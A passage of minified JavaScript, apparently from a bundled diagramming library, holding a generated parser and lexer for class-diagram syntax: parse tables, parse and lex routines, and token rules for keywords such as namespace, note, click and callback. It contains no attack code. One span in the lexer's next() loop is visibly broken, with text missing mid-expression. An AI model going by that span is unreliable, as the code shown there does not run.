95:this.$=W[z-2],fe.setCssStyle(W[z-1],W[z]);break;case 96:fe.setCssClass(W[z-1],W[z]);break;case 97:this.$=[W[z]];break;case 98:W[z-2].push(W[z]),this.$=W[z-2];break;case 100:this.$=W[z-1]+W[z];break}},"anonymous"),table:[{3:1,4:2,5:3,6:4,7:[1,6],10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,3]},t(I,[2,5],{8:[1,48]}),{8:[1,49]},t(L,[2,19],{22:[1,50]}),t(L,[2,21]),t(L,[2,22]),t(L,[2,23]),t(L,[2,24]),t(L,[2,25]),t(L,[2,26]),t(L,[2,27]),t(L,[2,28]),t(L,[2,29]),t(L,[2,30]),{34:[1,51]},{36:[1,52]},t(L,[2,33]),t(L,[2,53],{53:53,66:56,67:57,13:[1,54],22:[1,55],68:E,69:D,70:_,71:O,72:M,73:P,74:B}),{39:[1,65]},t(F,[2,40],{39:[1,67],44:[1,66]}),t(L,[2,55]),t(L,[2,56]),{16:68,60:p,86:k,100:A,102:C},{16:39,17:40,19:69,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:70,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:71,60:p,86:k,100:A,102:C,103:R},{60:[1,72]},{13:[1,73]},{16:39,17:40,19:74,60:p,86:k,100:A,102:C,103:R},{13:G,55:75},{58:77,60:[1,78]},t(L,[2,66]),t(L,[2,67]),t(L,[2,68]),t(L,[2,69]),t($,[2,13],{16:39,17:40,19:80,18:[1,79],20:[1,81],60:p,86:k,100:A,102:C,103:R}),t($,[2,15],{20:[1,82]}),{15:83,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:86,60:p,86:k,100:A,102:C,103:R},t(U,[2,123]),t(U,[2,124]),t(U,[2,125]),t(U,[2,126]),t([1,8,9,12,13,20,22,39,41,44,68,69,70,71,72,73,74,79,81],[2,127]),t(I,[2,6],{10:5,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,19:21,38:22,43:23,16:39,17:40,5:87,33:e,35:r,37:n,42:i,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R}),{5:88,10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},t(L,[2,20]),t(L,[2,31]),t(L,[2,32]),{13:[1,90],16:39,17:40,19:89,60:p,86:k,100:A,102:C,103:R},{53:91,66:56,67:57,68:E,69:D,70:_,71:O,72:M,73:P,74:B},t(L,[2,54]),{67:92,73:P,74:B},t(j,[2,73],{66:93,68:E,69:D,70:_,71:O,72:M}),t(te,[2,74]),t(te,[2,75]),t(te,[2,76]),t(te,[2,77]),t(te,[2,78]),t(Y,[2,79]),t(Y,[2,80]),{8:[1,95],24:96,40:94,43:23,46:a},{16:97,60:p,86:k,100:A,102:C},{41:[1,99],45:98,51:oe},{50:[1,101]},{13:[1,102]},{13:[1,103]},{79:[1,104],81:[1,105]},{22:J,48:ue,59:106,60:re,82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},{60:[1,118]},{13:G,55:119},t(L,[2,62]),t(L,[2,128]),{22:J,48:ue,59:120,60:re,61:[1,121],82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(ne,[2,64]),{16:39,17:40,19:122,60:p,86:k,100:A,102:C,103:R},t($,[2,16]),t($,[2,17]),t($,[2,18]),{39:[2,36]},{15:124,16:84,17:85,18:[1,123],39:[2,9],60:p,86:k,100:A,102:C,103:R},{39:[2,10]},t(Te,[2,45],{11:125,12:[1,126]}),t(I,[2,7]),{9:[1,127]},t(q,[2,57]),{16:39,17:40,19:128,60:p,86:k,100:A,102:C,103:R},{13:[1,130],16:39,17:40,19:129,60:p,86:k,100:A,102:C,103:R},t(j,[2,72],{66:131,68:E,69:D,70:_,71:O,72:M}),t(j,[2,71]),{41:[1,132]},{24:96,40:133,43:23,46:a},{8:[1,134],41:[2,37]},t(F,[2,41],{39:[1,135]}),{41:[1,136]},t(F,[2,43]),{41:[2,51],45:137,51:oe},{16:39,17:40,19:138,60:p,86:k,100:A,102:C,103:R},t(L,[2,81],{13:[1,139]}),t(L,[2,83],{13:[1,141],77:[1,140]}),t(L,[2,87],{13:[1,142],80:[1,143]}),{13:[1,144]},t(L,[2,95],{61:Ve}),t(pe,[2,97],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Be,[2,99]),t(Be,[2,101]),t(Be,[2,102]),t(Be,[2,103]),t(Be,[2,104]),t(Be,[2,105]),t(Be,[2,106]),t(Be,[2,107]),t(Be,[2,108]),t(Be,[2,109]),t(L,[2,96]),t(L,[2,61]),t(L,[2,63],{61:Ve}),{60:[1,147]},t($,[2,14]),{15:148,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{39:[2,12]},t(Te,[2,46]),{13:[1,149]},{1:[2,4]},t(q,[2,59]),t(q,[2,58]),{16:39,17:40,19:150,60:p,86:k,100:A,102:C,103:R},t(j,[2,70]),t(L,[2,34]),{41:[1,151]},{24:96,40:152,41:[2,38],43:23,46:a},{45:153,51:oe},t(F,[2,42]),{41:[2,52]},t(L,[2,50]),t(L,[2,82]),t(L,[2,84]),t(L,[2,85],{77:[1,154]}),t(L,[2,88]),t(L,[2,89],{13:[1,155]}),t(L,[2,91],{13:[1,157],77:[1,156]}),{22:J,48:ue,60:re,82:ee,84:158,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(Be,[2,100]),t(ne,[2,65]),{39:[2,11]},{14:[1,159]},t(q,[2,60]),t(L,[2,35]),{41:[2,39]},{41:[1,160]},t(L,[2,86]),t(L,[2,90]),t(L,[2,92]),t(L,[2,93],{77:[1,161]}),t(pe,[2,98],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Te,[2,8]),t(F,[2,44]),t(L,[2,94])],defaultActions:{2:[2,1],3:[2,2],4:[2,3],83:[2,36],85:[2,10],124:[2,12],127:[2,4],137:[2,52],148:[2,11],152:[2,39]},parseError:o(function(Ne,Ce){if(Ce.recoverable)this.trace(Ne);else{var Fe=new Error(Ne);throw Fe.hash=Ce,Fe}},"parseError"),parse:o(function(Ne){var Ce=this,Fe=[0],fe=[],xe=[null],W=[],he=this.table,z="",se=0,le=0,ke=0,ve=2,ye=1,Re=W.slice.call(arguments,1),_e=Object.create(this.lexer),ze={yy:{}};for(var Ke in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ke)&&(ze.yy[Ke]=this.yy[Ke]);_e.setInput(Ne,ze.yy),ze.yy.lexer=_e,ze.yy.parser=this,typeof _e.yylloc>"u"&&(_e.yylloc={});var xt=_e.yylloc;W.push(xt);var We=_e.options&&_e.options.ranges;typeof ze.yy.parseError=="function"?this.parseError=ze.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Oe(_t){Fe.length=Fe.length-2*_t,xe.length=xe.length-_t,W.length=W.length-_t}o(Oe,"popStack");function et(){var _t;return _t=fe.pop()||_e.lex()||ye,typeof _t!="number"&&(_t instanceof Array&&(fe=_t,_t=fe.pop()),_t=Ce.symbols_[_t]||_t),_t}o(et,"lex");for(var Ue,lt,Gt,vt,Lt,dt,nt={},bt,wt,yt,ft;;){if(Gt=Fe[Fe.length-1],this.defaultActions[Gt]?vt=this.defaultActions[Gt]:((Ue===null||typeof Ue>"u")&&(Ue=et()),vt=he[Gt]&&he[Gt][Ue]),typeof vt>"u"||!vt.length||!vt[0]){var Ur="";ft=[];for(bt in he[Gt])this.terminals_[bt]&&bt>ve&&ft.push("'"+this.terminals_[bt]+"'");_e.showPosition?Ur="Parse error on line "+(se+1)+`: +`+_e.showPosition()+` +Expecting `+ft.join(", ")+", got '"+(this.terminals_[Ue]||Ue)+"'":Ur="Parse error on line "+(se+1)+": Unexpected "+(Ue==ye?"end of input":"'"+(this.terminals_[Ue]||Ue)+"'"),this.parseError(Ur,{text:_e.match,token:this.terminals_[Ue]||Ue,line:_e.yylineno,loc:xt,expected:ft})}if(vt[0]instanceof Array&&vt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Gt+", token: "+Ue);switch(vt[0]){case 1:Fe.push(Ue),xe.push(_e.yytext),W.push(_e.yylloc),Fe.push(vt[1]),Ue=null,lt?(Ue=lt,lt=null):(le=_e.yyleng,z=_e.yytext,se=_e.yylineno,xt=_e.yylloc,ke>0&&ke--);break;case 2:if(wt=this.productions_[vt[1]][1],nt.$=xe[xe.length-wt],nt._$={first_line:W[W.length-(wt||1)].first_line,last_line:W[W.length-1].last_line,first_column:W[W.length-(wt||1)].first_column,last_column:W[W.length-1].last_column},We&&(nt._$.range=[W[W.length-(wt||1)].range[0],W[W.length-1].range[1]]),dt=this.performAction.apply(nt,[z,le,se,ze.yy,vt[1],xe,W].concat(Re)),typeof dt<"u")return dt;wt&&(Fe=Fe.slice(0,-1*wt*2),xe=xe.slice(0,-1*wt),W=W.slice(0,-1*wt)),Fe.push(this.productions_[vt[1]][0]),xe.push(nt.$),W.push(nt._$),yt=he[Fe[Fe.length-2]][Fe[Fe.length-1]],Fe.push(yt);break;case 3:return!0}}return!0},"parse")},He=(function(){var Ie={EOF:1,parseError:o(function(Ce,Fe){if(this.yy.parser)this.yy.parser.parseError(Ce,Fe);else throw new Error(Ce)},"parseError"),setInput:o(function(Ne,Ce){return this.yy=Ce||this.yy||{},this._input=Ne,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Ne=this._input[0];this.yytext+=Ne,this.yyleng++,this.offset++,this.match+=Ne,this.matched+=Ne;var Ce=Ne.match(/(?:\r\n?|\n).*/g);return Ce?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Ne},"input"),unput:o(function(Ne){var Ce=Ne.length,Fe=Ne.split(/(?:\r\n?|\n)/g);this._input=Ne+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ce),this.offset-=Ce;var fe=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Fe.length-1&&(this.yylineno-=Fe.length-1);var xe=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Fe?(Fe.length===fe.length?this.yylloc.first_column:0)+fe[fe.length-Fe.length].length-Fe[0].length:this.yylloc.first_column-Ce},this.options.ranges&&(this.yylloc.range=[xe[0],xe[0]+this.yyleng-Ce]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Ne){this.unput(this.match.slice(Ne))},"less"),pastInput:o(function(){var Ne=this.matched.substr(0,this.matched.length-this.match.length);return(Ne.length>20?"...":"")+Ne.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Ne=this.match;return Ne.length<20&&(Ne+=this._input.substr(0,20-Ne.length)),(Ne.substr(0,20)+(Ne.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Ne=this.pastInput(),Ce=new Array(Ne.length+1).join("-");return Ne+this.upcomingInput()+` +`+Ce+"^"},"showPosition"),test_match:o(function(Ne,Ce){var Fe,fe,xe;if(this.options.backtrack_lexer&&(xe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(xe.yylloc.range=this.yylloc.range.slice(0))),fe=Ne[0].match(/(?:\r\n?|\n).*/g),fe&&(this.yylineno+=fe.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:fe?fe[fe.length-1].length-fe[fe.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Ne[0].length},this.yytext+=Ne[0],this.match+=Ne[0],this.matches=Ne,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Ne[0].length),this.matched+=Ne[0],Fe=this.performAction.call(this,this.yy,this,Ce,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Fe)return Fe;if(this._backtrack){for(var W in xe)this[W]=xe[W];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Ne,Ce,Fe,fe;this._more||(this.yytext="",this.match="");for(var xe=this._currentRules(),W=0;WCe[0].length)){if(Ce=Fe,fe=W,this.options.backtrack_lexer){if(Ne=this.test_match(Fe,xe[W]),Ne!==!1)return Ne;if(this._backtrack){Ce=!1;continue}else return!1}else if(!this.options.flex)break}return Ce?(Ne=this.test_match(Ce,xe[fe]),Ne!==!1?Ne:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ce=this.next();return Ce||this.lex()},"lex"),begin:o(function(Ce){this.conditionStack.push(Ce)},"begin"),popState:o(function(){var Ce=this.conditionStack.length-1;return Ce>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ce){return Ce=this.conditionStack.length-1-Math.abs(Ce||0),Ce>=0?this.conditionStack[Ce]:"INITIAL"},"topState"),pushState:o(function(Ce){this.begin(Ce)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ce,Fe,fe,xe){var W=xe;switch(fe){case 0:return 62;case 1:return 63;case 2:return 64;case 3:return 65;case 4:break;case 5:break;case 6:return this.begin("acc_title"),33;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),35;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 8;case 14:break;case 15:return 7;case 16:return 7;case 17:return"EDGE_STATE";case 18:this.begin("callback_name");break;case 19:this.popState();break;case 20:this.popState(),this.begin("callback_args");break;case 21:return 79;case 22:this.popState();break;case 23:return 80;case 24:this.popState();break;case 25:return"STR";case 26:this.begin("string");break;case 27:return 82;case 28:return 57;case 29:return this.begin("namespace"),42;break;case 30:return this.popState(),8;break;case 31:break;case 32:return this.begin("namespace-body"),39;break;case 33:return this.popState(),41;break;case 34:return"EOF_IN_STRUCT";case 35:return 8;case 36:break;case 37:return"EDGE_STATE";case 38:return this.begin("class"),46;break;case 39:return this.popState(),8;break;case 40:break;case 41:return this.popState(),this.popState(),41;break;case 42:return this.begin("class-body"),39;break;case 43:return this.popState(),41;break;case 44:return"EOF_IN_STRUCT";case 45:return"EDGE_STATE";case 46:return"OPEN_IN_STRUCT";case 47:break;case 48:return"MEMBER";case 49:return 83;case 50:return 75;case 51:return 76;case 52:return 78;case 53:return 54;case 54:return 56;case 55:return 49;case 56:return 50;case 57:return 81;case 58:this.popState();break;case 59:return"GENERICTYPE";case 60:this.begin("generic");break;case 61:this.popState();break;case 62:return"BQUOTE_STR";case 63:this.begin("bqstring");break;case 64:return 77;case 65:return 77;case 66:return 77;case 67:return 77;case 68:return 69;case 69:return 69;case 70:return 71;case 71:return 71;case 72:return 70;case 73:return 68;case 74:return 72;case 75:return 73;case 76:return 74;case 77:return 22;case 78:return 44;case 79:return 100;case 80:return 18;case 81:return"PLUS";case 82:return 87;case 83:return 61;case 84:return 89;case 85:return 89;case 86:return 90;case 87:return"EQUALS";case 88:return"EQUALS";case 89:return 60;case 90:return 12;case 91:return 14;case 92:return"PUNCTUATION";case 93:return 86;case 94:return 102;case 95:return 48;case 96:return 48;case 97:return 9}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:classDiagram-v2\b)/,/^(?:classDiagram\b)/,/^(?:\[\*\])/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:["])/,/^(?:[^"]*)/,/^(?:["])/,/^(?:style\b)/,/^(?:classDef\b)/,/^(?:namespace\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:\[\*\])/,/^(?:class\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[}])/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\[\*\])/,/^(?:[{])/,/^(?:[\n])/,/^(?:[^{}\n]*)/,/^(?:cssClass\b)/,/^(?:callback\b)/,/^(?:link\b)/,/^(?:click\b)/,/^(?:note for\b)/,/^(?:note\b)/,/^(?:<<)/,/^(?:>>)/,/^(?:href\b)/,/^(?:[~])/,/^(?:[^~]*)/,/^(?:~)/,/^(?:[`])/,/^(?:[^`]+)/,/^(?:[`])/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:\s*<\|)/,/^(?:\s*\|>)/,/^(?:\s*>)/,/^(?:\s*<)/,/^(?:\s*\*)/,/^(?:\s*o\b)/,/^(?:\s*\(\))/,/^(?:--)/,/^(?:\.\.)/,/^(?::{1}[^:\n;]+)/,/^(?::{3})/,/^(?:-)/,/^(?:\.)/,/^(?:\+)/,/^(?::)/,/^(?:,)/,/^(?:#)/,/^(?:#)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:\w+)/,/^(?:\[)/,/^(?:\])/,/^(?:[!"#$%&'*+,-.`?\\/])/,/^(?:[0-9]+)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\s)/,/^(?:\s)/,/^(?:$)/],conditions:{"namespace-body":{rules:[26,33,34,35,36,37,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},namespace:{rules:[26,29,30,31,32,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},"class-body":{rules:[26,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},class:{rules:[26,39,40,41,42,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr_multiline:{rules:[11,12,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr:{rules:[9,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_title:{rules:[7,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_args:{rules:[22,23,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_name:{rules:[19,20,21,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},href:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},struct:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},generic:{rules:[26,49,50,51,52,53,54,55,56,57,58,59,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},b